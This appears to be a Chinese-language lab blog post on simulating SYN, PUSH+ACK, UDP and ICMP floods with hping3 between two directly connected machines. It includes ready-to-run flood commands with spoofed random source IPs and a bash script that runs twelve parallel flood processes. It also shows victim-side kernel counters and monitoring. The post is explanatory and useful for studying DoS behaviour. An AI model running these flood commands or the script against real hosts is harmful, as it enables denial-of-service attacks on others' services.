Hping3 工具使用
hping3
hping 最早來自 Salvatore Sanfilippo (網名 antirez)。沒錯,他就是後來開發了 Redis 的那位傳奇工程師。
根據 AI,他的演進好像是:
hping(1998 年):最初版本。它打破了傳統 ping 的限制,允許使用者手動設定 TCP 序號。在當時,這對於研究 TCP 序列預測(Sequence Prediction)攻擊非常有用hping2(2001-2002 年):這個版本將功能擴展到了 UDP、ICMP 以及更複雜的路徑 MTU 發現。它成為了當時滲透測試工程師的標準配備hping3(2004 年至今):這是目前最穩定、最廣泛使用的版本
hping3 最核心的整合是,整合了 Tcl (Tool Command Language) 腳本語言。這代表你不再只能下單行指令,你可以寫腳本來定義複雜的封包發送邏輯。但在這邊我們只是看他的指令。
看了一下 GitHub,上次提交已經是 12 年前了,看來之後沒什麼更新。
nping。它幾乎可以做所有 hping3 能做的事,而且語法更現代化。跟 DDoS 模擬有關的選項
- Base Option
-c:設定發送多少個封包-I --interface [名稱]:強制指定從哪張網卡發包-i --interval [uX]:設定發包間隔。預設是 1 秒--flood:以硬體極限速度發包,完全不理會對方的回應
- Protocol Seleciton: 設定用哪個協定,比較特殊的是
-8, --scan: 這讓 hping3 瞬間變成類似 Nmap 的工具-9, --listen: 這是一個非常有創意的功能。它會讓 hping3 進入「等待」狀態,直到網路上出現包含特定「簽名(Signature)」的封包。可以用來建立隱蔽通道(Covert Channel)或簡易的後門觸發機制。
- IP 相關選項
-a:指定一個假的 Src IP--rand-source:每個封包都隨機 Src IP
多核心
因為 hping3 沒有參數設定多個 thread,他預設就是用一個 Core,所以我們可以用 for loop 執行多個 hping 這樣才會有多個核心同時跑,假如只跑一個 hping 只會看到一個 CPU Core 滿。
DDoS 實驗
這邊嘗試用兩台電腦直接相接,一台發起攻擊,另外一台模擬 IP 192.168.169.90 當作受害者,看看發起攻擊會有什麼特徵。
SYN Flood
hping3 -S --rand-source -p 80 <目標 IP>,可以再加上 --flood 讓他不計代價瘋狂發封包,但模擬這樣就夠了。
電腦 OS 會有一個 SYN Queue (半開連線隊列),所以打一般電腦就是要讓他塞滿。在 Linux 中,SYN Queue 的最大長度主要由核心參數 tcp_max_syn_backlog 決定。
kola:~$ sysctl net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 1024
kola:~$ sysctl net.core.somaxconn
net.core.somaxconn = 4096可以用以下指令看現在目前半開的狀態:
# 計算目前處於 SYN_RECV 狀態的連線數量
ss -ant state syn-recv | wc -l
# 如果你想看具體是哪些 IP 佔著位子
ss -ant state syn-recv實際上目前 Linux 預設都會有 SYN Cookie,如果發現太多 SYN 連線半開,就會在 Dmesg 看到相關的 LOG,所以你用 ss -ant 看不會有半開,因為都用 SYN Cookie。
adl@adl-D630MT:~$ sudo dmesg | grep SYN
[11132544.177997] TCP: request_sock_TCP: Possible SYN flooding on port 0.0.0.0:80. Sending cookies.
adl@adl-D630MT:~$ nstat -az TcpExtSyncookiesSent
#kernel
TcpExtSyncookiesSent 1272244 0.0所以我們先把 SYN Cookie 關掉
`sudo sysctl -w net.ipv4.tcp_syncookies=0`然後我們除了觀察 SYN_RECV 狀態,還可以看其他資訊證明真的被 Syn flood 正在打:
# 觀察目前有多少連線停留在三向交握的第二步(Server 已送出 SYN/ACK,等待 Client ACK)
watch -n 0.5 "ss -ant state syn-recv | wc -l"
# netstat 欄位如下
grep TcpExt /proc/net/netstat
# 若只想看特定欄位,也可以使用 nstat
nstat -az | egrep "Listen|ReqQ|Syncookies"
# 若封包在進入 TCP Stack 前就被丟棄,SYN Queue 自然不會增加
# 觀察 RX errors, dropped
ip -s link show enp1s0
# 查看 Driver 層的 Drop(若支援)
ethtool -S <NIC>我們使用自己寫個 Script 用 12 個 Core 跑 12 個 hping3,如下:
$ cat syn_flood.bash
#!/bin/bash
# 設定參數
TARGET="10.0.0.4"
PORT=80
THREADS=12
echo "[+] 正在啟動 $THREADS 個 hping3 進程轟炸 $TARGET:$PORT..."
echo "[-] 按下 Ctrl+C 可以一次停止所有攻擊"
# 攔截 Ctrl+C (SIGINT),確保結束時能乾淨地殺掉所有子進程
trap "echo -e '\n[!] 正在停止所有攻擊進程...'; pkill -P $$; exit" SIGINT SIGTERM
# 迴圈啟動背景進程
for i in $(seq 1 $THREADS); do
sudo hping3 -S -p $PORT --flood $TARGET > /dev/null 2>&1 &
done
# 讓主腳本維持在前台等待,直到接收到 Ctrl+C
wait然後開始發起攻擊,可以看到受害者不同的資訊。
大概停在 500 多也就是接近 queue 的最大數字 1024 的一半,當 tcp_syncookies 設為 0 時,Linux 核心為了避免記憶體被完全耗盡,通常不會讓你真的用到 100% 的 tcp_max_syn_backlog。在某些核心版本或配置下,當隊列填滿到一定比例(通常是 1/2 或 3/4)時,系統就會開始主動丟棄(Drop)新的 SYN 包。
在關閉 TCP Syncookies 後,攻擊期間 TcpExtListenDrops 與 TcpExtTCPReqQFullDrop 持續增加,表示 Linux 已因 SYN Request Queue 飽和而開始直接丟棄新的 SYN 封包。
PSUH + ACK Flood
發送的多個一個「偽造連線」的 ACK 封包,受害者的核心在收到後會執行以下檢查:
- 查表:核心查看現有的 TCP 連線表(Established Table)
- 查無此人:核心發現這封包對應的「來源 IP + Port」根本沒有建立過連線
- 防衛機制:根據 TCP 協議(RFC 793),如果收到一個不屬於任何已知連線的 ACK 封包,接收端必須回傳一個 RST 封包,告訴對方:「我不認識這個連線,請關閉它」
雖然只是簡單的回傳一個 RST,但當攻擊量達到每秒數萬次時,會產生以下負擔:
- 雙向流量壓力:你發出多少 PUSH+ACK,受害者就得回送多少 RST。這會瞬間佔滿受害者的上傳頻寬(Outgoing Bandwidth)
- CPU 查表開銷:核心在決定回傳 RST 之前,必須先消耗 CPU 去搜尋雜湊表(Hash Table)
- Softirq 負載:處理每個進來的封包都會觸發軟中斷
使用 -P and -A flag 也就是 sudo hping3 -P -A -p 80 --flood 192.168.169.90 模擬發起攻擊。
受害者我們用 watch -n 1 "sar -n DEV 1" 看收到的流量 (PPS 很大) 跟用 htop 看 CPU,會有一個 Core 變很大(都在處理封包,現代網卡雖然支援多隊列(Multi-queue),但對於來自同一個來源、打向同一個目標的流量,網卡通常會透過雜湊(Hash)將其分配給同一個 CPU 核心處理,以維持封包順序)。
然後會看到一堆 RST 封包送回去,如下 tcpdump 輸出:
adl@adl-D630MT:~$ sudo tcpdump -i enp0s31f6 'tcp[tcpflags] & tcp-rst != 0' -n -c 100
[sudo] password for adl:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp0s31f6, link-type EN10MB (Ethernet), snapshot length 262144 bytes
17:22:19.772345 IP 192.168.169.90.80 > 192.168.169.81.1031: Flags [R], seq 685675530, win 0, length 0
17:22:19.772358 IP 192.168.169.90.80 > 192.168.169.81.1032: Flags [R], seq 1034589902, win 0, length 0
17:22:19.772363 IP 192.168.169.90.80 > 192.168.169.81.1033: Flags [R], seq 1457572995, win 0, length 0
17:22:19.772368 IP 192.168.169.90.80 > 192.168.169.81.1034: Flags [R], seq 1775432224, win 0, length UDP Flood
通常 UDP Flood 會打有開 Port 的 UDP Service,會需要花時間處理 UDP 封包,所以我們先寫一個簡單的 Python UDP Service:
adl@adl-D630MT:~$ cat udp_listen.py
import socket
# 設定監聽 IP 與 Port
UDP_IP = "0.0.0.0"
UDP_PORT = 8000
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))
print(f"UDP Server 啟動,監聽端口: {UDP_PORT}")
count = 0
while True:
data, addr = sock.recvfrom(1024) # 接收封包
count += 1
if count % 10000 == 0:
print(f"已處理 {count} 個封包...")使用 -udp flag 也就是 sudo hping3 --udp -p 8000 --flood 192.168.169.90 模擬攻擊。
然後可以用 netstat -su 看到 receive buffer errors (3,388,515),這代表有 338 萬個封包 雖然成功進到了網卡、通過了核心(Kernel),但因為你跑的 UDP Service(可能是 Python 或 nc)讀取速度太慢,導致該 Socket 的接收緩衝區(Receive Buffer)完全爆滿,如下圖:

ICMP Flood
一般伺服器的下載頻寬(Inbound)通常很大,但上傳頻寬(Outbound)比較窄。攻擊者利用 ICMP 強迫受害者把自己的上傳頻寬塞滿,導致受害者無法傳送正常的網頁資料或回覆給其他客人。
使用 sudo hping3 --icmp --flood 192.168.169.90 模擬。
受害者使用 watch -n 1 "netstat -s | grep -i icmp" 查看。

如上,received and send 幾乎一比一。
Reference
使用的指令可以參考:
其他 Reference: